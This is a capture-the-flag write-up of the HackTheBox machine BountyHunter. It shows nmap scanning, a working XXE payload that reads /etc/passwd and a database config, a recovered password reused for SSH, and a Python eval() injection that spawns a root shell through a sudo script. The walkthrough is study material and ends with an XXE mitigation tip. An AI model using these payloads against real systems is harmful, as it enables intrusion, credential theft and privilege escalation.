BountyHunter 10.10.11.100

by 130n@calvinlai.com, 11 Sep 2021

Background

BountyHunter is a Linux base machine from HackTheBox that required your patient on web searching technique with some encoding concepts and Python Hacking skill is required on the privilege escalation.

XXE is the technique using for gaining initial access. The web application is vulnerable to the XML injection that allows an attacker to interfere with an application's processing of XML data. We can use this loophole to read some configuration files at the target system. A DB configuration file contains a login credential that can be used to gain access.

The initial account can execute a python script with root privilege. This python script is exploiting on one of these dangerous functions: eval(), exec() and input().

130n@calvinlai.com

Target Machine: 10.10.11.110

Attacker Machine: 10.10.14.3

Hacking Process Part 0 – Service Scanning

Nmap

1) nmap -p- -T5 --min-rate=1000 10.10.11.100 -oG fkclai.nmap 2) nmap -p $(grep -Eo '[0-9]{1,5}/open' fkclai.nmap | cut -d '/' -f 1 | tr -s '\n' ',') -sC -sV 10.10.11.100 -o nmap-result.txt

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-05 22:26 HKT
Nmap scan report for 10.10.11.100
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.33 seconds

Enumeration Strategies

No vulnerability was found on the SSH and HTTP service, it was going to review the web application to check any information leakage or misconfiguration.

Hacking Process Part 1 – Enumeration

With basic web enumeration using gobuster, a set of web pages was found and the following one was interesting with submission function.

The data passed to the backend server was encoded by base64 and URL encoding. After decoded, an XML format payload was found as below.

<?xml  version="1.0" encoding="ISO-8859-1"?>

		<bugreport>
		<title></title>
		<cwe></cwe>
		<cvss></cvss>
		<reward></reward>
		</bugreport>

Possible XML Injection

Tried the XML External Entity (XXE) Injection Payload List, the site was injectable. The below files were access, finally, the db.php file contained a login credential.

  • /etc/passwd

  • /index.php

  • /db.php

The syntax of the injection payload was below and remind to encoded with base64 + URL encoding before being sent to the HTTP Request.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php">]>
		<bugreport>
		<title>a</title>
		<cwe>b</cwe>
		<cvss>c</cvss>
		<reward>e</reward>
		</bugreport>

Using this CyberChef tool for preparing the encoded payload.

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIHJlcGxhY2UgWzwhRU5USVRZIHh4ZSBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9ZGIucGhwIj5dPgoJCTxidWdyZXBvcnQ%2BCgkJPHRpdGxlPmE8L3RpdGxlPgoJCTxjd2U%2BYjwvY3dlPgoJCTxjdnNzPmM8L2N2c3M%2BCgkJPHJld2FyZD5lPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2B

After submitting the above payload, the response HTML contained a set of base-64 encoded messages.

Decoded the message, a database login credential was found.

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Hacking Process Part 2 – Gaining Foothold

Using the credential found at the db.php to access the ssh service, however, failure to login.

According to the "passwd" file got from the above process, there was a user "development".

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

ssh using the account "development" with the password "m19RoAU0hP41A1sTsq6K" and the user flag was found.

a0929aa9a9ec25cec7bc41a139f2b829

Hacking Process Part 3 – Privilege Escalation

Just simple list out the sudo rights of this account, there was interesting stuff that was a python script execution as a root that no password input required.

Check the ticketValidator.py file

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

The python script read an input file with the extension .md and with the following logic

  • The first three lines of the input file should be

    # Skytrain Inc   
    # Ticket to root  
     __Ticket Code:__ 
  • The fourth line must start with ** and a number with "+" at the end

  • The number is greater than 100 and mod 7 is 4

Ultimately, I found the magic number 102. The "eval" function was an advantage code here according to the article Python Hacking. In order to make the eval statement true and to make the hacking work, let eval one more condition

Finally, I created the following file

# Skytrain Inc   
# Ticket to root  
 __Ticket Code:__  
 **102+ 2 == 104 and __import__('os').system('/bin/bash') == False  

Run the python script and got the root access

Conclusion

Prevent the XXE vulnerability can set the libxml_disable_entity_loader to true to sanitize the XML input file

https://documentation.help/InfoSec-cn/8d5649b4-8523-4cbf-b4bb-8424f871f7b2.htm

Reference

Last updated